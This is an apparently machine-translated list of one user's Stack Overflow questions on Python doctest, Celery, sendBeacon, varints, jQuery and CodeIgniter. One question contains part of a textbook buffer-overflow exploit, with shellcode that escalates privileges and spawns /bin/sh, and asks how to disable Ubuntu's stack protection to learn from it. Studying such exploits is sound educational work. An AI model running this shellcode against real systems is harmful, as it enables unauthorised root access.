小编Emm*_*ler的帖子

如何使用Python的doctest-package测试字典相等性?

我正在为输出字典的函数编写doctest.doctest看起来像

>>> my_function()
{'this': 'is', 'a': 'dictionary'}
Run Code Online (Sandbox Code Playgroud)

当我运行它时,它失败了

Expected:
    {'this': 'is', 'a': 'dictionary'}
Got:
    {'a': 'dictionary', 'this': 'is'}
Run Code Online (Sandbox Code Playgroud)

我对这个失败原因的最好猜测是doctest不是检查字典的平等,而是检查__repr__平等.这篇文章表明有一些方法可以欺骗doctest来检查字典的相同性.我怎样才能做到这一点?

python doctest dictionary

37
推荐指数
3
解决办法
5418
查看次数

无法导入该任务时运行Celery任务

我有两个服务器:一个运行django应用程序,另一个运行rabbitmq队列和芹菜工作者.运行队列/工作服务器的服务器上的tasks.py包含如下任务:

@task(queue="reports")
def test_task():
    time.sleep(120)
Run Code Online (Sandbox Code Playgroud)

我的目标是从django视图执行此任务.由于任务的代码在与我想调用任务的django视图不同的服务器上,我正在尝试使用以下代码将任务从django发送到工作机器.

send_task("tasks.test_task", task_id=task_id, args=[], kwargs={}, publisher=publisher, queue=queue)
Run Code Online (Sandbox Code Playgroud)

我在这里找到了这个方法,但到目前为止测试它还没有用.

我正在celery工作服务器上的celery worker日志文件中使用tail -F进行测试,然后在浏览器中导航到包含send_task的视图的url.我正在寻找在尾部输出中显示为"已接收"的任务,但事实并非如此.

芹菜工作者的日志级别是DEBUG,日志文件显示任务是使用正确的名称注册的,而django应用程序的settings.py包含rabbitmq服务器的正确IP和凭据.在尝试不同的方法时,我偶尔会在celery日志文件中看到一条错误消息,当我将传递给send_task的字符串更改为不是有效任务的字符串(即send_task('asdf'))时.这导致日志文件中出现UnregisteredError.但是,这种情况有时只会发生,到目前为止,在测试设置和调用的不同组合时,我还没有找到可靠地复制行为的方法.

此外,这是django项目上settings.py的相关部分(删除了实际值):

CELERY_RESULT_BACKEND = 'amqp'
BROKER_HOST = 'the.correct.IP.address'
BROKER_USER = 'the_correct_user'
BROKER_PASSWORD = 'the_correct_pass'
BROKER_VHOST = 'the_correct_vhost'
BROKER_PORT = 5672
Run Code Online (Sandbox Code Playgroud)

我google了一下,在send_task上找不到太多东西.关于我可能做错的任何想法?

python django amqp rabbitmq celery

6
推荐指数
1
解决办法
1992
查看次数

卸载前的HTTP请求:sendBeacon与img.src

beforeunload处理程序的上下文中,标记fetch(keep-alive: true)src属性和设置img标记的属性之间的功能区别是什么?哪些是发出GET请求的首选方法?

背景:

我想beforeunload在JavaScript代码的处理程序中发送HTTP GET请求。Navigator.sendBeacon的文档讨论了此用例的优点,但是

sendBeacon()方法不提供自定义请求方法的功能

显然,几年前对此类功能的请求很多,最终提出了对use 的推荐,即使用fetch()内部调用by的浏览器方法sendBeacon,并设置了一些特定的标志来解决unload请求问题:

需要此类请求的非默认设置的应用程序应使用将FETCHkeep-alive标志设置为true 的API

fetch(url, {
  method: ..., 
  body: ...,            
  headers: ...,       
  credentials: 'include',
  mode: 'cors',
  keep-alive: true,
})
Run Code Online (Sandbox Code Playgroud)

据我所知,这种调用在功能上等效于Navigator.sendBeacon,键设置为keep-alive: true

显然,HTML <img>标签 采用keep-alive: true根据规范(重点煤矿):

请求具有关联的keepalive标志...该标志可用于允许请求超过环境设置对象的寿命,例如,navigator.sendBeacon和HTML img元素设置此标志

我本文档的理解是,制作GET上要求unload通过img元素的src属性在功能上等同于调用fetch() …

javascript browser analytics http sendbeacon

6
推荐指数
1
解决办法
506
查看次数

给定一个整数,它的varint编码有多大?

我有一个python整数列表,我想知道当编码为协议缓冲区可变长度整数或varints序列时,它将占用多少空间。在不实际编码整数的情况下解决此问题的最佳方法是什么?

my_numbers = [20, 69, 500, 38987982344444, 420, 99, 1, 999]
e = MyCoolVarintArrayEncoder(my_numbers)
print(len(e))  # ???
Run Code Online (Sandbox Code Playgroud)

python encoding protocol-buffers varint

5
推荐指数
1
解决办法
345
查看次数

加载多个jQuery版本

我编写了一个使用jQuery的工具,该工具可以动态加载到许多不同的网页上,包括那些已经使用过jQuery的网页.我试图在一个不受我直接控制的网页上加载jQuery.当我这样做时,Ajax调用此页面通过jQuery停止工作.该网站dailycaller.com使用jQuery延迟图像加载 - 当您向下滚动页面时,文章图像是动态加载的.当我尝试加载任何jQuery版本时,此动态图像提取会中断.我怀疑这是由于我加载的jQuery和页面本身已经存在的jQuery之间的版本冲突.

为了测试这个,我尝试加载与页面相同的版本.该页面包含一个脚本标记

<script type='text/javascript' src='http://cdn01.dailycaller.com/wp-includes/js/jquery/jquery.js?ver=1.7.2'></script>
Run Code Online (Sandbox Code Playgroud)

我的JS代码再次加载此版本(异步地,在页面加载之后)

var script = document.createElement( 'script' );
script.src = 'http://cdn01.dailycaller.com/wp-includes/js/jquery/jquery.js?ver=1.7.2';
document.body.appendChild(script);
Run Code Online (Sandbox Code Playgroud)

尽管理论上这个版本的jQuery已经在页面上,但这个加载会导致页面的jQuery Ajax调用中断.如何在不破坏此页面动态负载的情况下加载任意jQuery版本?

我已经尝试过使用jQuery.noConflict()这里推荐我可以在同一页面上使用多个版本的jQuery吗?它并没有解决这个问题.

javascript ajax jquery

4
推荐指数
1
解决办法
6755
查看次数

在Ubuntu 11.04中禁用堆栈粉碎保护

我在2007 MacBook上运行32位Ubuntu 11.04,我刚刚开始学习缓冲区溢出漏洞.我试图从一本书中运行示例程序,但Ubuntu的安全措施使我无法成功执行缓冲区溢出.这是我试图运行的代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
   unsigned int i, *ptr, ret, offset=270;
   char *command, *buffer;

   command = (char *) malloc(200);
   bzero(command, 200); // zero out the new memory

   strcpy(command, "./notesearch \'"); // start command buffer
   buffer = command + strlen(command); // set buffer at the end

   if(argc > 1) // set offset
      offset = atoi(argv[1]);

   ret = (unsigned int) &i - offset; // set return address …
Run Code Online (Sandbox Code Playgroud)

ubuntu stack buffer gcc overflow

2
推荐指数
1
解决办法
1万
查看次数

CodeIgniter项目加载空白网页

我有一个codeigniter项目,我在Mac OS X Lion上成功运行.当尝试在ubuntu中运行相同的项目时,请求localhost/project会导致没有源的空白页面.

我已经将AllowOverride All添加到apache.conf中无济于事.我的最新策略,是建立了一个模具()语句在战略要地的指数包含的文件,试图找到该代码失败行.通过这种方法,我在system/core/CodeIgniter.php中找到了行"$ CI = new $ class();"之前的die语句.执行,而后一个(并且可能是所有后续代码)不执行.

我可以用这些信息来帮助我在本地运行这个项目吗?

谢谢!

php apache macos ubuntu codeigniter

2
推荐指数
1
解决办法
1万
查看次数